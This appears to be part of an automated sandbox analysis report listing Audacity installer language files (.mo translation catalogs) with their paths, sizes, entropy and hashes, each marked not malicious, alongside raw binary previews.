Preview:	................T................(..1....(.......(.......).......)..%...%)......K)......^)......c)......h)......q)......{).......).......).......).......).......).......).......).......).......).......).......).......).......).......).......)..................................$......-......6......;......A......E......N......Z......a......q......{..................................................................................................+......%+..,...-+..%...Z+..1....+..#....+..$....+.......+.......,.......,.......,......#,......,......5,......7,......B,......V,......],......h,......j,......w,......y,......{,......},.......,.......,.......,.......,.......,.......,.......,.......,.......,.......,.......,.......-.......-.. ...:-......[-......v-..#....-..:....-.......-.......-.......-..................z...3..........._..........*/..t...U/......./......./......./......./.......0.......0.......0......"0......,0......30......;0......S0..4..._0..#....0......

C:\Program Files\Audacity\Languages\ar\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3170 messages, Project-Id-Version: audacity 3.0.3 '\330\247\331\204\331\205\331\204\331\201\330\247\330\252 \330\247\331\204\331\205\330\270\331\207\330\261\330\251 \331\203\331\205\331\201\331\202\331\210\330\257 \330\252\331\205 \331\206\331\202\331\204\331\207\330\247 \330\243\331\210 \330\255\330\260\331\201\330\252 \331\210 \331\204\330\247 \331\212\331\205\331\203\331\206 \331\206\330\263\330\256\331\207\330\247.'
Category:	dropped
Size (bytes):	271446
Entropy (8bit):	5.633438263939798
Encrypted:	false
SSDEEP:	6144:KXR9XhRDxQoszZOfc+uA9U4jR1IGMC/r7:CxKZA9U4t1IGMC/P
MD5:	D6877A0011173842C41594E28223099F
SHA1:	D3D0C701858F6869F92E1CF0A6816D57241CCEC1
SHA-256:	26EA072B6E1E922AB4CC4D2A92BF2C37101E8DE4D7C19B42AD4F249107DD8C76
SHA-512:	CD7432F9D98A48D2DAC396038F23B429047C5FFAAA5BE5C70A2226BED9162E5E07B993CC92355D828E0DBA77FEDA3C2FD8CB08D3C8E34E5BBE20E1460C89FDDF
Malicious:	false
Preview:	........b.......,c......<.......P.......Q...'.......6...........C...............................................................'.......2.......<.......E.......M...g...Z...P.......................1...................................)...............l.......-...............{.......C...................................4........................... .......(.......4.......A.......H.......R.......Y.......a.......m.......w.......................................................................................%.......>.......D.......U.......].......r...8...y...;...........................).......D...(...\...................................................J.......................%.......$...;.......`.......h.......q...F...............................................%...3.......Y.......l.......w...E...~.......................................................!.......4.......@.......R.......`.......e.......w...........................................................(...............................$...

C:\Program Files\Audacity\Languages\ar\is-T0H9J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3170 messages, Project-Id-Version: audacity 3.0.3 '\330\247\331\204\331\205\331\204\331\201\330\247\330\252 \330\247\331\204\331\205\330\270\331\207\330\261\330\251 \331\203\331\205\331\201\331\202\331\210\330\257 \330\252\331\205 \331\206\331\202\331\204\331\207\330\247 \330\243\331\210 \330\255\330\260\331\201\330\252 \331\210 \331\204\330\247 \331\212\331\205\331\203\331\206 \331\206\330\263\330\256\331\207\330\247.'
Category:	dropped
Size (bytes):	271446
Entropy (8bit):	5.633438263939798
Encrypted:	false
SSDEEP:	6144:KXR9XhRDxQoszZOfc+uA9U4jR1IGMC/r7:CxKZA9U4t1IGMC/P
MD5:	D6877A0011173842C41594E28223099F
SHA1:	D3D0C701858F6869F92E1CF0A6816D57241CCEC1
SHA-256:	26EA072B6E1E922AB4CC4D2A92BF2C37101E8DE4D7C19B42AD4F249107DD8C76
SHA-512:	CD7432F9D98A48D2DAC396038F23B429047C5FFAAA5BE5C70A2226BED9162E5E07B993CC92355D828E0DBA77FEDA3C2FD8CB08D3C8E34E5BBE20E1460C89FDDF
Malicious:	false
Preview:	........b.......,c......<.......P.......Q...'.......6...........C...............................................................'.......2.......<.......E.......M...g...Z...P.......................1...................................)...............l.......-...............{.......C...................................4........................... .......(.......4.......A.......H.......R.......Y.......a.......m.......w.......................................................................................%.......>.......D.......U.......].......r...8...y...;...........................).......D...(...\...................................................J.......................%.......$...;.......`.......h.......q...F...............................................%...3.......Y.......l.......w...E...~.......................................................!.......4.......@.......R.......`.......e.......w...........................................................(...............................$...

C:\Program Files\Audacity\Languages\be\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 996 messages, Project-Id-Version: audacity 3.0.3 '\320\232\320\260\320\273\321\226 \320\267\320\260\321\205\320\260\320\262\320\260\321\206\321\214, \321\203 \320\277\321\200\320\260\320\265\320\272\321\206\320\265 \320\275\320\265 \320\261\321\203\320\264\320\267\320\265'
Category:	dropped
Size (bytes):	86428
Entropy (8bit):	5.4901962318832105
Encrypted:	false
SSDEEP:	1536:XwDbHSdiG2JYxw6ZoLgHnNGBLoAx4HwCnJbb9ujg56Y9tiYpn0Q:i6owZoLgHn4BLoA+qbYzp0Q
MD5:	A2A761DE6451A37742C174AA7F5BD0F0
SHA1:	306B7E969596889FBD6AA93B1AE7A7D7A94C0525
SHA-256:	978466923FC33D8343EF1821040E5F1E35A3B0BFCC8CCDAAC285B30B76C30566
SHA-512:	1A804BDEED6C351F06A51B3BB9A5FC84F7594E01C1E45D010935A4662A3752AF3073DF46998CF59F725000B7FBA0B73C33EE099A56E0982E0336A3F6A125ECD6
Malicious:	false
Preview:	................<...Q...\>.......S.......S......;T......DT......MT.......T.......U.......V.......W.......W......\X.......X..4....Y.......Y.......Y.......Y.......Y.......Y.......Y..J....Z..%...UZ......{Z.......Z.......Z.......Z.......Z.......Z..(....Z.......Z.......Z.......Z.......Z.......[.......[.......[......![......+[......3[......C[......L[.."...U[......x[......~[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......\.......\.......\......5\......>\......I\......R\......c\......h\......n\......r\......{\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......]......!]......3]......A]......J]......R]......e]......t].......].......].......].......].......].......].......].......].......].......].......].......^..,....^..%...8^..1...^^..#....^..$....^..$....^.......^......._......._......0_......C_..*...a_......._......._......._......._.......`.......`......7`......M`......c`.......`......

C:\Program Files\Audacity\Languages\be\is-M4P44.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 996 messages, Project-Id-Version: audacity 3.0.3 '\320\232\320\260\320\273\321\226 \320\267\320\260\321\205\320\260\320\262\320\260\321\206\321\214, \321\203 \320\277\321\200\320\260\320\265\320\272\321\206\320\265 \320\275\320\265 \320\261\321\203\320\264\320\267\320\265'
Category:	dropped
Size (bytes):	86428
Entropy (8bit):	5.4901962318832105
Encrypted:	false
SSDEEP:	1536:XwDbHSdiG2JYxw6ZoLgHnNGBLoAx4HwCnJbb9ujg56Y9tiYpn0Q:i6owZoLgHn4BLoA+qbYzp0Q
MD5:	A2A761DE6451A37742C174AA7F5BD0F0
SHA1:	306B7E969596889FBD6AA93B1AE7A7D7A94C0525
SHA-256:	978466923FC33D8343EF1821040E5F1E35A3B0BFCC8CCDAAC285B30B76C30566
SHA-512:	1A804BDEED6C351F06A51B3BB9A5FC84F7594E01C1E45D010935A4662A3752AF3073DF46998CF59F725000B7FBA0B73C33EE099A56E0982E0336A3F6A125ECD6
Malicious:	false
Preview:	................<...Q...\>.......S.......S......;T......DT......MT.......T.......U.......V.......W.......W......\X.......X..4....Y.......Y.......Y.......Y.......Y.......Y.......Y..J....Z..%...UZ......{Z.......Z.......Z.......Z.......Z.......Z..(....Z.......Z.......Z.......Z.......Z.......[.......[.......[......![......+[......3[......C[......L[.."...U[......x[......~[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......[.......\.......\.......\......5\......>\......I\......R\......c\......h\......n\......r\......{\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......\.......]......!]......3]......A]......J]......R]......e]......t].......].......].......].......].......].......].......].......].......].......].......].......^..,....^..%...8^..1...^^..#....^..$....^..$....^.......^......._......._......0_......C_..*...a_......._......._......._......._.......`.......`......7`......M`......c`.......`......

C:\Program Files\Audacity\Languages\bg\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1325 messages, Project-Id-Version: audacity 3.0.3 '\320\244\320\260\320\271\320\273\320\276\320\262\320\265\321\202\320\265, \320\277\320\276\320\272\320\260\320\267\320\260\320\275\320\270 \320\272\320\260\321\202\320\276 \342\200\236\320\273\320\270\320\277\321\201\320\262\320\260\321\211\320\270\342\200\234, \321\201\320\260 \320\277\321\200\320\265\320\274\320\265\321\201\321\202\320\265\320\275\320\270 \320\270\320\273\320\270 \320\270\320\267\321\202\321\200\320\270\321\202\320\270 \320\270 \320\275\320\265 \320'
Category:	dropped
Size (bytes):	135847
Entropy (8bit):	5.425765802901142
Encrypted:	false
SSDEEP:	3072:R6hYw/slTPvPAZogCd4RDapnmjLBALSey0Pvx8TymYb2uVNxQN00PDy2uq:RiY9vPnyRDMn8LBAdhP5vmzDNuq
MD5:	A2ABD25FA631E015F37F32DA9FC0404E
SHA1:	C70839BC6A8D0DC04F598CAA9E41F000BFABCFF4
SHA-256:	D166BDEE57F0DF35F961C7C6D7832CED543962ACE0220CB9B342DD066B9FD24E
SHA-512:	1CE5D2818184A36F46083F78F76FC4818241ACCAAD1C51906E5B0A70CA5C5CF88CCB80C5497AFA47BC9AD698E8A197232E8AEB93758419BBE78F1513BBDD68D3
Malicious:	false
Preview:	........-........).......R.......n.......n......Do.......o.......o.......o.......o..1....p.......p......bq......_r.......r.......s......<t.......t.......u......Kv.......v.......w.......x..4....x.......x.......y.......y.......y.......y......%y......*y......1y......=y......Vy..J...ay..%....y.......y.......y.......y.......y.......z.......z.......z..(....z......Gz......Oz......Vz......]z......rz......{z.......z.......z.......z.......z.......z.......z.......z.."....z.......z.......z.......z.......{.......{......%{......+{......7{......@{......L{......V{......c{......v{......\|{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|.......\|......%\|......)\|......2\|......<\|......N\|......Z\|......a\|......h\|......x\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......(}......0}......?}......R}......e}......t}.......}.......}.......}.......}.......}.......}.......}.......}.......}......

C:\Program Files\Audacity\Languages\bg\is-3UN24.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1325 messages, Project-Id-Version: audacity 3.0.3 '\320\244\320\260\320\271\320\273\320\276\320\262\320\265\321\202\320\265, \320\277\320\276\320\272\320\260\320\267\320\260\320\275\320\270 \320\272\320\260\321\202\320\276 \342\200\236\320\273\320\270\320\277\321\201\320\262\320\260\321\211\320\270\342\200\234, \321\201\320\260 \320\277\321\200\320\265\320\274\320\265\321\201\321\202\320\265\320\275\320\270 \320\270\320\273\320\270 \320\270\320\267\321\202\321\200\320\270\321\202\320\270 \320\270 \320\275\320\265 \320'
Category:	dropped
Size (bytes):	135847
Entropy (8bit):	5.425765802901142
Encrypted:	false
SSDEEP:	3072:R6hYw/slTPvPAZogCd4RDapnmjLBALSey0Pvx8TymYb2uVNxQN00PDy2uq:RiY9vPnyRDMn8LBAdhP5vmzDNuq
MD5:	A2ABD25FA631E015F37F32DA9FC0404E
SHA1:	C70839BC6A8D0DC04F598CAA9E41F000BFABCFF4
SHA-256:	D166BDEE57F0DF35F961C7C6D7832CED543962ACE0220CB9B342DD066B9FD24E
SHA-512:	1CE5D2818184A36F46083F78F76FC4818241ACCAAD1C51906E5B0A70CA5C5CF88CCB80C5497AFA47BC9AD698E8A197232E8AEB93758419BBE78F1513BBDD68D3
Malicious:	false
Preview:	........-........).......R.......n.......n......Do.......o.......o.......o.......o..1....p.......p......bq......_r.......r.......s......<t.......t.......u......Kv.......v.......w.......x..4....x.......x.......y.......y.......y.......y......%y......*y......1y......=y......Vy..J...ay..%....y.......y.......y.......y.......y.......z.......z.......z..(....z......Gz......Oz......Vz......]z......rz......{z.......z.......z.......z.......z.......z.......z.......z.."....z.......z.......z.......z.......{.......{......%{......+{......7{......@{......L{......V{......c{......v{......\|{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|.......\|......%\|......)\|......2\|......<\|......N\|......Z\|......a\|......h\|......x\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......\|.......}.......}......(}......0}......?}......R}......e}......t}.......}.......}.......}.......}.......}.......}.......}.......}.......}......

C:\Program Files\Audacity\Languages\bn\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 70 messages, Project-Id-Version: audacity 3.0.3 '%d \340\246\232\340\247\215\340\246\257\340\246\276\340\246\250\340\247\207\340\246\262'
Category:	dropped
Size (bytes):	4218
Entropy (8bit):	4.971887850240577
Encrypted:	false
SSDEEP:	96:RM1JCuhzgjLRORUeMmlMykLFkUIEQK1HpVQmEPhhWOWapg:KJCcgjLRO2eMmRK1JONPyrF
MD5:	DD106BB851D2B08EA97A556F72D63373
SHA1:	984BEB916B82C6AF4343242DC4F0AC785FEB8728
SHA-256:	2AEC4444F35A6E2DDA334D38FD0105359D0A9B167C80F18E7A74E0837C50EA80
SHA-512:	569BB58026AFAFF474043BF5ADF637E9DF595A68356B10A9CD6FB47F53AF389AE063965E120EB3DCE669F3FE9C1611760F88B58713EAC425DDEA21453ED0A438
Malicious:	false
Preview:	........F.......L...a...\|...................%...........3.......F.......O.......U.......[.......b.......q.......u.......}............................................................................................................................... ..............5.......:.......B.......K.......Y.......f.......l.......q.......t.......{...............................................................................................................................................................................................................!.......).......2.......9.......=.......J...K...]...........M.......2...........C.......Z.......h.......v...........................................;.......(.......A...6..."...x.......................................................................;.......H.......d...2...}...........................;..........(.......S.......f.......p.......................................................................................+.......8.......R.......f.......

C:\Program Files\Audacity\Languages\bn\is-TP6MB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 70 messages, Project-Id-Version: audacity 3.0.3 '%d \340\246\232\340\247\215\340\246\257\340\246\276\340\246\250\340\247\207\340\246\262'
Category:	dropped
Size (bytes):	4218
Entropy (8bit):	4.971887850240577
Encrypted:	false
SSDEEP:	96:RM1JCuhzgjLRORUeMmlMykLFkUIEQK1HpVQmEPhhWOWapg:KJCcgjLRO2eMmRK1JONPyrF
MD5:	DD106BB851D2B08EA97A556F72D63373
SHA1:	984BEB916B82C6AF4343242DC4F0AC785FEB8728
SHA-256:	2AEC4444F35A6E2DDA334D38FD0105359D0A9B167C80F18E7A74E0837C50EA80
SHA-512:	569BB58026AFAFF474043BF5ADF637E9DF595A68356B10A9CD6FB47F53AF389AE063965E120EB3DCE669F3FE9C1611760F88B58713EAC425DDEA21453ED0A438
Malicious:	false
Preview:	........F.......L...a...\|...................%...........3.......F.......O.......U.......[.......b.......q.......u.......}............................................................................................................................... ..............5.......:.......B.......K.......Y.......f.......l.......q.......t.......{...............................................................................................................................................................................................................!.......).......2.......9.......=.......J...K...]...........M.......2...........C.......Z.......h.......v...........................................;.......(.......A...6..."...x.......................................................................;.......H.......d...2...}...........................;..........(.......S.......f.......p.......................................................................................+.......8.......R.......f.......

C:\Program Files\Audacity\Languages\bs\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 695 messages, Project-Id-Version: audacity 3.0.3 ' Nijemo uklju\304\215eno'
Category:	dropped
Size (bytes):	47256
Entropy (8bit):	5.262920147681837
Encrypted:	false
SSDEEP:	768:ySLmNwLE6W2qS7m3iVd8vnZoyjgK0kFjeeoaA1+gkXe2zMmgVDmoNEKe8TZCz/CT:UjAmpZoJK0kRelaA1+5egxESoNEITZCO
MD5:	8D366C8056A8025CC4187AE142535B1F
SHA1:	C52B7E435A331328D54955AE2C82A56E1135DE2C
SHA-256:	BFCBB616BB629BCABBD67CFC91EA63AFCF0944409F489F6799B4394ADAF0A2C2
SHA-512:	E78442096DB7474458FC3AAE4D969E08A888314D9FEF1920BB5912B631D1D1383CD1B88101B228CB1B9880DB5CD874E3AEA7D7D71264C2F4C62D874E5C852630
Malicious:	false
Preview:	.........................+.......:.......:.......:......%:..1....:......`:.......:.......;......f<.......=......&=......2=..%...==......c=......v=......{=.......=.......=..(....=.......=.......=.......=.......=.......=.......=.......=.......=.......>.......>.."....>......9>......?>......P>......[>......a>......k>......q>......y>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......?.......?.......?.......?......%?......2?......D?......R?......[?......f?......t?.......?.......?.......?.......?.......?.......?.......?.......?..,....?..%....@..1...@..#...\@..$....@.......@.......@.......@.......@......@......)A......GA......eA.......A.......A.......A.......A.......A.......B.......B......1B......MB......OB......XB......iB......pB......{B......}B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......C.......C......#C......1C......IC......UC......dC......vC......

C:\Program Files\Audacity\Languages\bs\is-2VUIJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 695 messages, Project-Id-Version: audacity 3.0.3 ' Nijemo uklju\304\215eno'
Category:	dropped
Size (bytes):	47256
Entropy (8bit):	5.262920147681837
Encrypted:	false
SSDEEP:	768:ySLmNwLE6W2qS7m3iVd8vnZoyjgK0kFjeeoaA1+gkXe2zMmgVDmoNEKe8TZCz/CT:UjAmpZoJK0kRelaA1+5egxESoNEITZCO
MD5:	8D366C8056A8025CC4187AE142535B1F
SHA1:	C52B7E435A331328D54955AE2C82A56E1135DE2C
SHA-256:	BFCBB616BB629BCABBD67CFC91EA63AFCF0944409F489F6799B4394ADAF0A2C2
SHA-512:	E78442096DB7474458FC3AAE4D969E08A888314D9FEF1920BB5912B631D1D1383CD1B88101B228CB1B9880DB5CD874E3AEA7D7D71264C2F4C62D874E5C852630
Malicious:	false
Preview:	.........................+.......:.......:.......:......%:..1....:......`:.......:.......;......f<.......=......&=......2=..%...==......c=......v=......{=.......=.......=..(....=.......=.......=.......=.......=.......=.......=.......=.......=.......>.......>.."....>......9>......?>......P>......[>......a>......k>......q>......y>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......>.......?.......?.......?.......?......%?......2?......D?......R?......[?......f?......t?.......?.......?.......?.......?.......?.......?.......?.......?..,....?..%....@..1...@..#...\@..$....@.......@.......@.......@.......@......@......)A......GA......eA.......A.......A.......A.......A.......A.......B.......B......1B......MB......OB......XB......iB......pB......{B......}B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......B.......C.......C......#C......1C......IC......UC......dC......vC......

C:\Program Files\Audacity\Languages\ca\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2886 messages, Project-Id-Version: audacity 3.0.3 'Els fitxers etiquetats amb l'expressi\303\263 DESAPAREGUT han estat moguts o eliminats i no es poden copiar.'
Category:	dropped
Size (bytes):	220954
Entropy (8bit):	5.400772098596046
Encrypted:	false
SSDEEP:	6144:YTTgPZAf5urmNgDKoCnuL/cC6A9fWOibwLMl9oV6sJabfq45r5anvh036c:WgA7BA9fWO2wLMl9oV6sJabf9N5anJS
MD5:	B58407E26D05E6C310DE0486BE9890CF
SHA1:	8F91D6FBC8B3A34D095483C9DC0EC50ABBADAF89
SHA-256:	D0AAD2ACCFFAAD04FC9D2D197AFE7AA1D768376072B3A2D054CBBD5E9A12E87A
SHA-512:	AF8BA73593EF77E0E8AC8746B98195E095C9221EEA0EBCB8179FDFCEEDD14D2A34D9C470F497C0C70B435C608E8AC5D4B3E683D2CA9AF06D7F1E7ACD75321B82
Malicious:	false
Preview:	........F.......LZ......\|...................'...<.......d.......................................'...............:.......H.......S.......]...P...f...........1...K.......}...............................F.......................s.......................J.......e...........4...................................................................................%.......1.......;.......E.......J.......g...............................................................................................................&.......-.......8...J...C...........%...................................................................).......0.......C.......H.......V.......i.......u...................................................................................(...................(......./...$...C.......h.......x...................................................................................%...........1.......9.......D.......L.......Q.......j.......................................................................

C:\Program Files\Audacity\Languages\ca\is-6CEK5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2886 messages, Project-Id-Version: audacity 3.0.3 'Els fitxers etiquetats amb l'expressi\303\263 DESAPAREGUT han estat moguts o eliminats i no es poden copiar.'
Category:	dropped
Size (bytes):	220954
Entropy (8bit):	5.400772098596046
Encrypted:	false
SSDEEP:	6144:YTTgPZAf5urmNgDKoCnuL/cC6A9fWOibwLMl9oV6sJabfq45r5anvh036c:WgA7BA9fWO2wLMl9oV6sJabf9N5anJS
MD5:	B58407E26D05E6C310DE0486BE9890CF
SHA1:	8F91D6FBC8B3A34D095483C9DC0EC50ABBADAF89
SHA-256:	D0AAD2ACCFFAAD04FC9D2D197AFE7AA1D768376072B3A2D054CBBD5E9A12E87A
SHA-512:	AF8BA73593EF77E0E8AC8746B98195E095C9221EEA0EBCB8179FDFCEEDD14D2A34D9C470F497C0C70B435C608E8AC5D4B3E683D2CA9AF06D7F1E7ACD75321B82
Malicious:	false
Preview:	........F.......LZ......\|...................'...<.......d.......................................'...............:.......H.......S.......]...P...f...........1...K.......}...............................F.......................s.......................J.......e...........4...................................................................................%.......1.......;.......E.......J.......g...............................................................................................................&.......-.......8...J...C...........%...................................................................).......0.......C.......H.......V.......i.......u...................................................................................(...................(......./...$...C.......h.......x...................................................................................%...........1.......9.......D.......L.......Q.......j.......................................................................

C:\Program Files\Audacity\Languages\ca_ES@valencia\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3382 messages, Project-Id-Version: audacity 3.0.3 'Els fitxers mostrats com DESAPAREGUTS s'han mogut o eliminat i no es poden copiar.'
Category:	dropped
Size (bytes):	275091
Entropy (8bit):	5.401967372777679
Encrypted:	false
SSDEEP:	6144:6/tRQpn/ZqjDjJoSqTrac+UA957eQi8IHUWWCEXiuwXGz6x1MJabOi1n/1MZ3elY:6/bQGl6A957eQBIHUWWCEXiuwXGz6x14
MD5:	857B1D57F8544F0BCF285D906ED36717
SHA1:	3B8390EA372E453219404F05A5DE86262E509F7C
SHA-256:	77D20E85CB674B0E63E2D5B3F349D5F47A1A6AEA7CCEC3B68D5ECEF42310F191
SHA-512:	640FC50B671DC38D7FC73E64D1F62AAC5C442A0079FB12CBF8DDED67BB4D37A02248926438263D1C834A080FB5929CFC797EF78451CF3B118335B011FD6E2475
Malicious:	false
Preview:	........6........i......\|...................'...............K...V...................................................................................................g.......P...............1...l...............?.......<...............g .......!.......!......."......(#.......#.......$......3%......N&..0...m&.......&..4....&.......&.......&.......&.......'.......'.......'......&'......0'......7'......?'......K'......U'......_'......d'.......'.......'.......'.......'.......'.......'.......'.......'.......'.......(.......(.......(......3(..8...:(..;...s(.......(.......(.......(.......).......)......%)......,)......3)......?)......J)..J...U).......).......)..%....)..$....).......)................F...)......p......w..E...~...................................+.......+......!+......4+......@+......R+......`+......e+......n+......}+.......+.......+.......+.......+.......+..(....+.......+.......+.......+..$....,......3,......C,......K,......S,......i,......p,......w,.......,.......,......

C:\Program Files\Audacity\Languages\ca_ES@valencia\is-MT216.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 3382 messages, Project-Id-Version: audacity 3.0.3 'Els fitxers mostrats com DESAPAREGUTS s'han mogut o eliminat i no es poden copiar.'
Category:	dropped
Size (bytes):	275091
Entropy (8bit):	5.401967372777679
Encrypted:	false
SSDEEP:	6144:6/tRQpn/ZqjDjJoSqTrac+UA957eQi8IHUWWCEXiuwXGz6x1MJabOi1n/1MZ3elY:6/bQGl6A957eQBIHUWWCEXiuwXGz6x14
MD5:	857B1D57F8544F0BCF285D906ED36717
SHA1:	3B8390EA372E453219404F05A5DE86262E509F7C
SHA-256:	77D20E85CB674B0E63E2D5B3F349D5F47A1A6AEA7CCEC3B68D5ECEF42310F191
SHA-512:	640FC50B671DC38D7FC73E64D1F62AAC5C442A0079FB12CBF8DDED67BB4D37A02248926438263D1C834A080FB5929CFC797EF78451CF3B118335B011FD6E2475
Malicious:	false
Preview:	........6........i......\|...................'...............K...V...................................................................................................g.......P...............1...l...............?.......<...............g .......!.......!......."......(#.......#.......$......3%......N&..0...m&.......&..4....&.......&.......&.......&.......'.......'.......'......&'......0'......7'......?'......K'......U'......_'......d'.......'.......'.......'.......'.......'.......'.......'.......'.......'.......(.......(.......(......3(..8...:(..;...s(.......(.......(.......(.......).......)......%)......,)......3)......?)......J)..J...U).......).......)..%....)..$....).......)................F...)......p......w..E...~...................................+.......+......!+......4+......@+......R+......`+......e+......n+......}+.......+.......+.......+.......+.......+..(....+.......+.......+.......+..$....,......3,......C,......K,......S,......i,......p,......w,.......,.......,......

C:\Program Files\Audacity\Languages\co\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 \303\250'
Category:	dropped
Size (bytes):	376833
Entropy (8bit):	5.457322037273507
Encrypted:	false
SSDEEP:	6144:6m72UlyUk9CD2PsYRDjIoj5/asc+1A7MY89yazDk/neY:6DtVVA7MY89j8H
MD5:	9AEBB29DCE01C5BBBF23986C76A38E02
SHA1:	142E47AE5C113F81530A760A0753E97B72749683
SHA-256:	CF6DBDDEE0CD790CFEB533DA0B5DF4ABB1F381766F843305B4E34ED44CACDE6A
SHA-512:	296A61404D2FBB72D726144DF4F59F831923F261988629ED5F8E278542C652609010D12FFEB4477A593D931CB7EAF7DF14FCF1CAB8C81327C230667D812A8993
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\co\is-3NQSM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: Audacity '\011 \303\250'
Category:	dropped
Size (bytes):	376833
Entropy (8bit):	5.457322037273507
Encrypted:	false
SSDEEP:	6144:6m72UlyUk9CD2PsYRDjIoj5/asc+1A7MY89yazDk/neY:6DtVVA7MY89j8H
MD5:	9AEBB29DCE01C5BBBF23986C76A38E02
SHA1:	142E47AE5C113F81530A760A0753E97B72749683
SHA-256:	CF6DBDDEE0CD790CFEB533DA0B5DF4ABB1F381766F843305B4E34ED44CACDE6A
SHA-512:	296A61404D2FBB72D726144DF4F59F831923F261988629ED5F8E278542C652609010D12FFEB4477A593D931CB7EAF7DF14FCF1CAB8C81327C230667D812A8993
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\cs\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4032 messages, Project-Id-Version: audacity 3.0.3 '\011 a'
Category:	dropped
Size (bytes):	333409
Entropy (8bit):	5.639759719225201
Encrypted:	false
SSDEEP:	6144:TAQi7ZcyaZURDj1oCULeoc+9A7jiGrP8QCID:Ts5LeA7ji/Na
MD5:	E2B2B5D1A08324F0360413D8A901EC8F
SHA1:	FBC7B48A5B46B26EA6AAC62002CF8B9A128FF9C9
SHA-256:	986A01BB01B71176C2C37468B8E1DE52AD7AD40D31DAB08114126D29EE5D8C77
